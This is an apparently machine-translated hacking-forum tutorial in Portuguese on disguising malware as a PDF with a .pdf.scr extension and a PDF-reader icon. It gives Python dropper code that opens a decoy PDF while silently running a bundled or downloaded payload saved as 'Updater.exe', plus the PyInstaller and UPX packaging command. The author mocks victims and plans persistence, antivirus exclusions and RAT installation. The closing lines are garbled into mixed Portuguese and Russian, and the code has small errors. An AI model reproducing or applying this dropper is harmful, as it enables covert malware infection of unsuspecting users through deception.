Introdução

No passado, dependíamos de explorações direcionadas a leitores de PDF específicos, como o Adobe Acrobat Reader , como o CVE-2009-0658 . No entanto, essas explorações ficaram desatualizadas, assim como as macros .doc. Mais recentemente, vimos o surgimento do exploit Follina RCE ( CVE-2022-30190 ), que ainda pode ser explorado por ser um patch relativamente novo. Outras explorações, por outro lado, são corrigidas rapidamente. Hoje em dia, é um desafio atingir pessoas com essas explorações desatualizadas sem uma boa vulnerabilidade de dia zero. Porém, há um aspecto que nunca fica ultrapassado: o nosso cérebro. Sim, a engenharia social ainda continua a ser uma abordagem poderosa.
Não utilizaremos nenhum exploit, mas em vez disso, criaremos um pdf.scr simples, mas realista.

Vamos começar

Para começar, o que significa “.pdf.scr”? ".scr" é simplesmente a extensão de arquivo usada nos protetores de tela do Windows. Originalmente, ele foi projetado para exibir vídeos e animações como protetores de tela, mas na verdade pode funcionar com qualquer arquivo executável (exe). Quanto à parte “.pdf”, é apenas uma parte do nome do programa, sendo apenas o último ponto significativo. Por exemplo, você poderia ter um arquivo chamado “xss.txt.docx.pdf”, que é claramente um arquivo PDF. Essa técnica é conhecida como falsificação de extensão. Agora, você pode estar se perguntando qual é o propósito de tudo isso. Bem, por padrão, o Windows oculta extensões de arquivo conhecidas, como “.exe”. Portanto, você poderia simplesmente nomear um arquivo como “xss.pdf.exe”, mas o Windows ocultaria a parte “.exe” e a exibiria como “xss.pdf”. No entanto, ao passar o mouse sobre ele, você perceberá que na verdade não é um arquivo PDF (embora a maioria das pessoas não esteja familiarizada com o formato de arquivo .scr). É aqui que reside o problema: a vulnerabilidade humana à engenharia social. Para torná-lo ainda mais convincente, pode-se usar o ícone do leitor de PDF, e muitas pessoas (talvez ingênuas) clicariam duas vezes nele, executando o malware.
Um desafio surge quando você não sabe qual leitor de PDF o alvo está usando, dificultando o uso do ícone exato. Para a maioria dos usuários do Windows 10, eles tendem a usar o leitor de PDF padrão do Microsoft Edge. Porém, para quem utiliza um leitor de PDF específico e conhece seu ícone, essa abordagem pode encontrar dificuldades.

Agora, vamos imaginar um cenário em que você distribui esse tipo de malware para uma empresa e não quer que ela perceba que foi hackeada (porque, de fato, no momento o PDF parece não abrir porque só existe o malware , um estúpido pensará que o PDF está quebrado, outro perceberá que foi hackeado). Uma opção é eliminar o malware ou abrir um arquivo PDF genuíno. É exatamente isso que faremos neste tutorial: criar um pdf.scr com um ícone PDF que realmente abre um arquivo PDF real.
Então, vá em frente e crie seu próprio PDF de teste e vamos mergulhar nele.

Programa Python

Como este guia é voltado para iniciantes e pretende ser descomplicado e acessível, optaremos pela linguagem de programação Python. Para começar, precisaremos do próprio software malicioso. No entanto, não escreverei do zero para este tutorial. Durante minha fase de testes, utilizei um shell reverso C# básico em vez de um malware completo. Para tornar as coisas mais realistas (infelizmente não existem PDFs de 50 MB), podemos criar um programa leve que irá baixar o malware e abrir um PDF.

import os

import time

import sys

import subprocess

scriptpath  = getattr(sys, '_MEIPASS', os.path.dirname(os.path.abspath(__file__))) # Getting the script dir, because yes during the execution the script is the %temp% directory in a specific folder named "_MEIPASS+randomnumber"

malware = os.path.join(script_dir, 'malware.exe') # Your malware directory from the script dir defined above will show a code if you want to download it from internet, make sure you put the right name

pdf = os.path.join(script_dir, 'xss.pdf') # Same for pdf make sure you put the right name

os.system(pdf) #We open PDF and will crash if there is an error

subprocess.Popen(malware, shell=True) #We exec the malware without stopping the flow of the program

#Imagine being that easy.

Esta é uma implementação realmente básica do programa, se você quiser fazer o download do programa e depois exec, basta adicionar estas linhas antes da execução, a maneira mais fácil é usar https://docs.python.org/3/library/urllib.html

import urllib.request

malwareurl = "https://github.com/idk/malware.exe"

downloadpath = "Updater.exe"

urllib.request.urlretrieve(malwareurl, downloadpath) # no need comment urllib is simply magic



Neste ponto, desenvolvemos com sucesso nosso código de funcionamento básico e podemos prosseguir utilizando ferramentas como py2exe ou pyinstaller . Pela minha preferência pessoal, acho o auto-py-to-exe bastante atraente, pois fornece uma interface amigável para o Pyinstaller. Abrange todas as opções do Pyinstaller, tornando-o uma escolha simples e eficiente. Para instalar e executar o auto-py-to-exe, você pode seguir estes passos:

pip install auto-py-to-exe && auto-py-to-exe

Como é com UI, não vou explicar mais como empacotar em um exe, é muito simples, você pode até definir qualquer idioma (veja a próxima parte para "-eu" argumento). Mas o mais importante talvez seja --add-data, na parte adicional -file você colocará seu exe de malware e o arquivo PDF com o nome exato que você definiu no arquivo Python (você encontrará esses arquivos diretamente no "MEIPASS_ " durante a execução do programa).
Aqui está o comando Pyinstaller que recebi

pyinstaller --noconfirm --onefile --windowed --icon "C:/Users/censored/censored/pdf.ico" --name "xss.pdf" --upx-dir "C:/Users/censored/censored/UPX/ --clean --add-data "C:/Users/censored/Desktop/project/PDF_xss/xss.pdf;." --add-data "C:/Users/censored/Desktop/project/PDF_xss/malware.exe;."  "C:/Users/censored/Desktop/project/PDF_xss/script.py"

Use UPX para diminuir o exe final, em um cenário da vida real eu faria um programa C# que baixa e executa o malware em menos de 10 mb com + UPX:

/p:EnableCompressionInSingleFile=true /p:PublishTrimmed=true

Pyinstaller dá a opção de escolher o arquivo ico, e precisamos ESSE ÍCONE DO LEITOR DE PDF, não encontrei o "ICO oficial do leitor de PDF do Microsoft Edge", por favor, se encontrar, me avise e eu farei o upload.
.ico pode ter vários formatos dependendo da resolução para melhor otimização, este faz isso perfeitamente.
Você pode entender melhor por uma imagem

https://forumupload.ru/uploads/001b/c9/09/2/t705928.png

Como você pode ver à esquerda é um ico normal com uma única resolução, o segundo é o oficial que aumenta a legibilidade mesmo com resolução pequena tornando a escrita "PDF" maior.
Agora, você consegue ver a diferença entre esses 2 arquivos?

https://forumupload.ru/uploads/001b/c9/09/2/t575653.png

Sim, você quer, mas sua vítima não, hehe

Depois de baixar e adicionar este caminho ico ao comando Pyinstaller, basta clicar em "CONVERT .PY TO .EXE", esperar aproximadamente 2 minutos, abrir a pasta de saída renomeada em .scr e pronto...

Conclusão

Agora você pode perceber um questão, quando abrimos o exe, se o leitor de PDF for Microsoft edge vemos claramente o caminho do PDF, um caminho meio suspeito (pasta MEIPASS_) pois notamos que não é onde abrimos o PDF.
Para evitar isso, a ideia seria copiar o arquivo PDF para o diretório exe real, fazer com que o exe se esconda e finalmente abrir o PDF, quer o código? Bem, ainda estou aprendendo e não tenho, ficarei muito feliz se algum de vocês dedicar algum tempo para me ensinar alguns segredos e continuar aprendendo mais coisas legais.
De qualquer forma, temos um pdf falso (arquivo scr) que abre um pdf real, isso já é legal! Existe outra maneira, como o arquivo lnk, que é mais ou menos a mesma ideia. Desta forma, você pode de fato falsificar qualquer extensão e abrir um arquivo real, por exemplo: .docx, .xls, txt, png e jpg, o problema é que alguns programas têm ícones que mudaram muito ao longo do tempo, como o Microsoft Word e lembre-se que você não sabe qual software usa seu alvo.

PD:
Não sou especialista, se você puder me ajudar a continuar aprendendo eu agradeceria muito, é minha forma de compartilhar algum conhecimento. A próxima coisa que quero fazer é resolver o problema de persistência e adicionar exclusões para instalar, por exemplo, um .exe de um RAT. Se alguém quiser me ajudar, eu agradeceria. :)
елиться некоторыми знаниями. Bem, o que você precisa saber, este é o problema de solução para a instalação , por exemplo, .exe-файла de RAT. Если кто-то захочет мне помочь, буду :)признателен